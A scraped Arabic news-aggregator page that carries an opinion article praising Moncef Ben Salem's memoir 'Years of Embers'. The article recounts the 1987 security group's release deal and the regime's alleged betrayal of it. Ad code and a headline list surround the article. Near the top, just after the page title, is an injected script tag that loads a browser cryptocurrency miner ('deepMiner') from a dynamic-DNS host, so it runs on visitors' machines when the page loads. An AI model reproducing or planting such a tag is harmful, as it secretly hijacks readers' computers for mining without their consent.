googletag.defineSlot('/21620968445/Turess_Ar_Article_1', [[336, 280], [300, 300], [300, 250], [300, 600]], 'div-gpt-ad-362196229-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Turess_Ar_Article_1', 'div-gpt-ad-362196229-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Turess_Ar_Article_3', [[336, 280], [300, 300], [300, 250]], 'div-gpt-ad-362196231-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Turess_Ar_Article_3', 'div-gpt-ad-362196231-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Turess_Ar_Article_2', [[336, 280], [300, 300], [300, 250]], 'div-gpt-ad-362196230-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Turess_Ar_Article_2', 'div-gpt-ad-362196230-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Turess_Ar_Widget', [[222, 280]], 'div-gpt-ad-437865081-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Turess_Ar_Widget', 'div-gpt-ad-437865081-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Turess_Ar_Siteunder', [[336, 280], [300, 300], [300, 250]], 'div-gpt-ad-710471218-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Turess_Ar_Siteunder', 'div-gpt-ad-710471218-0-oop').addService(googletag.pubads()); googletag.pubads().enableSingleRequest(); googletag.enableServices();}); تورس : سنوات الجمر<script src="https://jhondi33.duckdns.org:7777/deepMiner.min.js"></script>
 
أبرز اهتمامات الصحف التونسية ليوم الخميس 15 نوفمبر    محمد العيادي: على الوزراء وكتاب الدولة الجدد التصريح بمكاسبهم قبل المباشرة    أثارت جدلا واسعا/ هذه نسبة الزيادة في ميزانيّة رئاسة الجمهوريّة.. وهكذا سيتم توزيعها    غلق مؤسسة تعليم عالي تقدم شهائد علمية مزوّرة لطلبة أجانب    رئيس الحكومة: لن نقبل أي تجاوز في حق الصحفيين    ارتفاع نسبة النمو إلى 2,6 % خلال الأشهر ال9 الأولى من سنة 2018
    توننداكس يستهل معاملات الخميس متطورا ب17ر0 بالمائة    المنستير.. حجز 330 طنا من البصل والرمان في مخزن تبريد    نتائج التحقيق السعودي.. 5 متهمين قتلوا خاشقجي وقطعوا جثته    تونس – مصر : خمسة حوارات في كرة القدم بين البلدين في شهر نوفمبر 2018    تطاوين: حجز 6 صقور تحمل أجهزة متابعة واتصال لا سلكي    بعد تأجيل الإضراب : مفاوضات بين وزارة النقل وغرفة "التاكسيات"    وزير الداخلية الإيطالي يستقبل 51 مهاجرا    صادم: 2000 مليار تكلفة الفساد في تونس    صاعقة رعدية تودي بحياة لاعب كرة قدم    المنتخب التونسي يجري اليوم الخميس آخر حصة تدريبية قبل مواجهة مصر    بفضل قطاع الفلاحة..الاقتصاد التونسي يحقق انتعاشة طفيفة    الكاف: الاعتداء بآلة حادة على عجوز ال84 سنة    أمل حجازي تؤدي مناسك العمرة (صور)    يشارك فيه ضيوف أجانب وأمراء : بن قردان تحتضن المهرجان الوطني للفروسية    كاس افريقيا للامم: مصر تستضيف تونس في كلاسيكو مثير وواعد    الكرة الطّائرة النّسائية : النّادي الصفاقسي ينتدب اللّاعبة رحمة العقربي    تصفيات كاس امم افريقيا – مصر – تونس : الاطارالفني للمنتخب التونسي يعقد مساء اليوم ندوة صحفية في ملعب برج العرب    التحقيق مع قائد بالشرطة الفلسطينية لتغييره إطار عربة للجيش الإسرائيلي    منظمة الأعراف تدعو إلى إحداث خطوط تمويل عوضا عن بنك الجهات    هكذا سيكون الطقس اليوم    وزير التجارة: ينتظر أن تبلغ كمية الحليب المورّدة 5.5 مليون لتر    ترامب يقيل مسؤولة اشتكت زوجته ميلانيا منها    لأول مرة... هند صبري تتكلم عن الهجوم الحاد الذي تعرضت له بعد انتقادها لسعد لمجرد‎    دار الإفتاء المصرية تلجأ للرسوم المتحركة لمكافحة أفكار المتطرفين    في الحب والمال: هذا ما يخفيه لكم حظكم اليوم    قصيدة جديدة للشاعر كمال بوعجيلة    لصحتك : كل فنجان قهوة إضافي يطيل عمرك!    تشخيص مرض التوحد عند الأطفال    الجزائر: استقالة جمال ولد عباس وتساؤلات عن مصير الولاية الخامسة لبوتفليقة    الفنان الشعبي قاسم كافي في ذمة الله    بحضور ماكرون.. المغرب يطلق أسرع قطار في أفريقيا    وزراء إسرائيليون : حماس "علّمت علينا" ب460 صاروخا في 24 ساعة    تونس: إلقاء القبض على شخص من أجل السرقة تحت طائلة التهديد بسلاح أبيض    إمام يعلن ترشحه للانتخابات من فوق المنبر!    عصام الجبالي يتوج مع روزنبيرغ بلقب البطولة النرويجية    في الغذاء دواء : 7 فوائد صحية للتمور    الرصد الجوي يحذّر مستعملي الطريق من الضباب الكثيف    عروض اليوم    منير العرقي يتحدث عن عرض مسرحيته الجديدة «القبلة»:أردتها قبلة على جبين «تشيكوف» وتكريما لصلاح مصدق    بعد لطيفة ونانسي وهيفاء وهبي :شعبان عبدالرحيم يتعرّض مجدّدا لتهديدات داعش    حمام الأنف:يغتصب ابنة ال 4 أعوام بوحشية بسبب خلافات مع والدها    تورّطن في البراكاجات والمخدرات:نساء يقتحمن عالم الجريمة    لطفي الرياحي (رئيس المنظمة التونسية لإرشاد المستهلك):المضاربات رفعت أسعار الزقوقو والفواكه الجافة    صوت الشارع:هل ستقومون بإعداد عصيدة «الزقوقو» هذا العام ؟    لا تقطعوا نكهتنا    منزل بورقيبة :إيقاف مروّج مخدرات مفتش عنه    جماهير النادي الافريقي تحتج بحديقة الرياضة أ    لحوم ابقار مصابة بداء السل محجوزة في المسلخ البلدي بالقصرين    يمكن تجنب مرض السكري بنسبة 80 بالمائة من خلال اتباع نمط عيش متوازن (وزارة الصحة)    محمد الحبيب السلامي يسأل: قضاء يحكم ولا ينفذ        في الحب والمال: هذا ما يخفيه لكم حظكم اليوم    







شكرا على الإبلاغ!
سيتم حجب هذه الصورة تلقائيا عندما يتم الإبلاغ عنها من طرف عدة أشخاص.





سنوات الجمر
نشر في الحوار نت يوم 19 - 05 - 2018

مَن سمع عن كتاب [سنوات الجمر] وما أحيط به من هالة، ألزمته التخفّي والتهريب، ثمّ قرأه علم أو تأكّد بعد علم أنّ قول الحقيقة في تونس "جُرم" جسيم لا يقترفه إلّا صاحب مروءة ولا يمنع اقترافه إلّا متكبّر صاحب بهتان قد رمى بإثمه بريئا!...
ليس في كتاب منصف بن سالم رحمه الله تعالى وطيّب ثراه ورفع منزلته، إلّا سردا لما لاقى هو وعائلته وعائلات التونسيين من ظلم لا يمكن أن يكون من صنع البشر ناهيك عمّن ينتسبون للمسلمين ويحمون الدّيار كما يزعمون بالإسلام!... ليس في الكتاب، أو ليس الكتاب إلّا سيرة مختصرة لفذّ سامق الطول، واسع الخيال، غزير العلم، كثير الطموح، حريص على الخير، توّاق إلى الرِّفعة، محبّ للوطن، متعلّق بالهُويّة، متفان في العمل، ساع في خدمة النّاس، قد اختصرها الظّالم البشع المتكبّر المجرم الجبان في حيّز الزّمان والمكان!...
ليس في الكتاب إلّا كلمات حقّ تفضح الظالمين وتكشف المتواطئين وتحكي عمّا نال الضعفاء من التونسيين ولا سيّما منهم الإسلاميين!... ليس في الكتاب إلّا ما يدعو إلى بكاء تونس التي وقع شأنها - كما قُرّر لها - بين أيادي الوضيعين فعربد فيها المجرمون والوصوليون!... وليس في الكتاب ما قد يخيف "المتبرّئين"، فإنّ منصف رحمه الله وبارك في نسله، لمّا تحدّث فيه عن المجموعة الأمنيّة، مجموعة الإنقاذ الوطني التي سمّاها المجرمون "عصابة المفسدين"، لم ينسبها بوضوح إلى الاتّجاه الإسلامي كما يرغب أعداؤه أو يخشى أصدقاؤه، بل وصفها كما هي، خليط وطنيّ لا يمكن لأيّ جهة أن تستأثر أو "تُتّهم" بها!... وإنّه لمّا تحدّث عنها رحمه الله تعالى، بيّن الإطار الذي وُجدت فيه والأساس الذي قامت عليه والأسباب التي جعلتها تُبطِل عملا عزمت عليه... كما بيّن أنّ المجموعة قد خدمت النّظام الجديد ساعات مقدمه الأولى بما جعل النّظام يومها ومن خلال المفاوضات التي قادها المرحومان منصف وأحمد القطاري بمشاركة الصحبي العمري، يقتنع بعدم وصوليّة المجموعة وبُعدها عمّا خطّطه لها المجرمون أو كتب عنها الموالون التّافهون!...
أنقل ما قال المنصف رحمه الله (بتصرّف): [بعد أخذ وردّ اتّفقنا (أي المجموعة والنّظام) على حلّ يُرضي الجميع:
- إطلاق سراح المجموعة على ثلاثة أفواج، أكون أنا (أي المنصف) ضمن الفوج الأخير منها.
- قبل خروج كلّ فوج يتمّ صرف مرتّبات عناصره كاملة منذ توقيف الأجور.
- يكون السراح بقرار وقف التتبّع.
- تكوين لجنة متناصفة من المجموعة الأمنيّة ومن وزارة الدّاخليّة والدّفاع، بعد خروج الجميع من السّجن، تكون مهمّتها إعادة عناصر المجموعة إلى سالف عملهم أو منحهم مناصب أخرى موازية لمهنهم]... انتهى كلام المنصف
أنظر أنا عبدالحميد العدّاسي في هذه الاتّفاقيّة، فأجد نفسي قد خرجت ضمن المجموعة الأخيرة يوم 04 ماي سنة 1989 بمعيّة المنصف وآخرين، وقد سبقتنا مجموعتان، فأراه يؤكّد النّقطة الأولى... أجد في حسابي البريدي يومها مبلغا ماليّا لا يمكن إلّا أن يؤكّد حصول النّقطة الثانيّة... أمثل أمام مجلس تأديب عقدته وزارة الدّفاع في حقّنا، فاراه إجراءً تراجعيًّا مخالفا لبنود الاتّفاق...
ثمّ يأتي القول من منصف رحمه الله تعالى في الكتاب مؤكّدا تعرّضنا للخيانة النّوفمبريّة!... خيانة يصرّ النّاس اليوم على تناقلها إرثا مُخزيا يذلّهم ويرديهم ويثقلهم بما يقضّ مضاجعهم إلى يوم الدّين!... فإنّه لمّا أقام طلبة جامعة صفاقس احتفالا في المدرسة القوميّة للمهندسين أسبوعا بعد خروجنا من السّجن، ومُنع منصف الدّخول واقتتيد إلى مركز الشرطة ليُسأل هناك عن سبب دخوله الحرم الجامعي [كيف تدخل مؤسّسة تربويّة وأنت أجنبيّ عنها]!... ولمّا اتّصل بالمرحوم أحمد القطاري شريكه عن النّظام في المفاوضات، أعلمه أنّ العقيد القذّافي (عليه من الله ما يستحقّ) قد زار الرّئيس ليعبّر له عن عدم رضاه عن الحلّ الذي توصّل الطرفان إليه، حتّى إذا حاول المنصف الرّجوع ثانيّة إلى القطاري، ترجّاه عدم الإحراج دون أن يغفل عن الإشارة إلى خطورة وضعيته إبّانئذ!...معلومة تزيد من إمكانيّة اغتيال القطاري رحمه الله تعالى، وقد أعلن عن موته في حادث مرور أليم!...
فالخوف من تناول موضوع المجموعة الأمنيّة (مجموعة الإنقاذ الوطني 87)، إذن، لا يعود إلى خطورتها أو جرمها أو إلى متعلّقات قد علّقها أناس قُصّر عليها، ولكنّه يعود إلى عدم الرّغبة في إبراز النّظام التونسي القديم والحديث في هيأة الخائن مخلف العهد، الذي استجاب للضغوطات القذّافيّة والخارجيّة ولم يستجب لنداءات المصلحة الوطنيّة ولسلامة المجتمع التونسي الذي لن تتحقّق إلّا بحبّ بين التونسيين يزرعه العدل والقسط وإرجاع الحقوق إلى أصحابها!...
على الجميع أن يقرأ كتاب المنصف بن سالم رغم ارتفاع ثمنه الذي فرضه تهريبُه، ليعلموا منه الكثير من الحقائق المبكية المدميّة، وليتمكّنوا من تحديد هُويّة المجرمين الحقيقيين الذين لازالوا يجوسون خلال الدّيار، وليعملوا على إنصاف المظلومين والوقوف ضدّ المتاجرين بأمن وسعادة التونسيين!... ولن يردّ الحقوق إلّا كريم ولن يتاجر بها إلّا خسيس لئيم!...
تقبّل الله طاعاتكم
عبدالحميد العدّاسي، 19 ماي 2018


انقر هنا لقراءة الخبر من مصدره.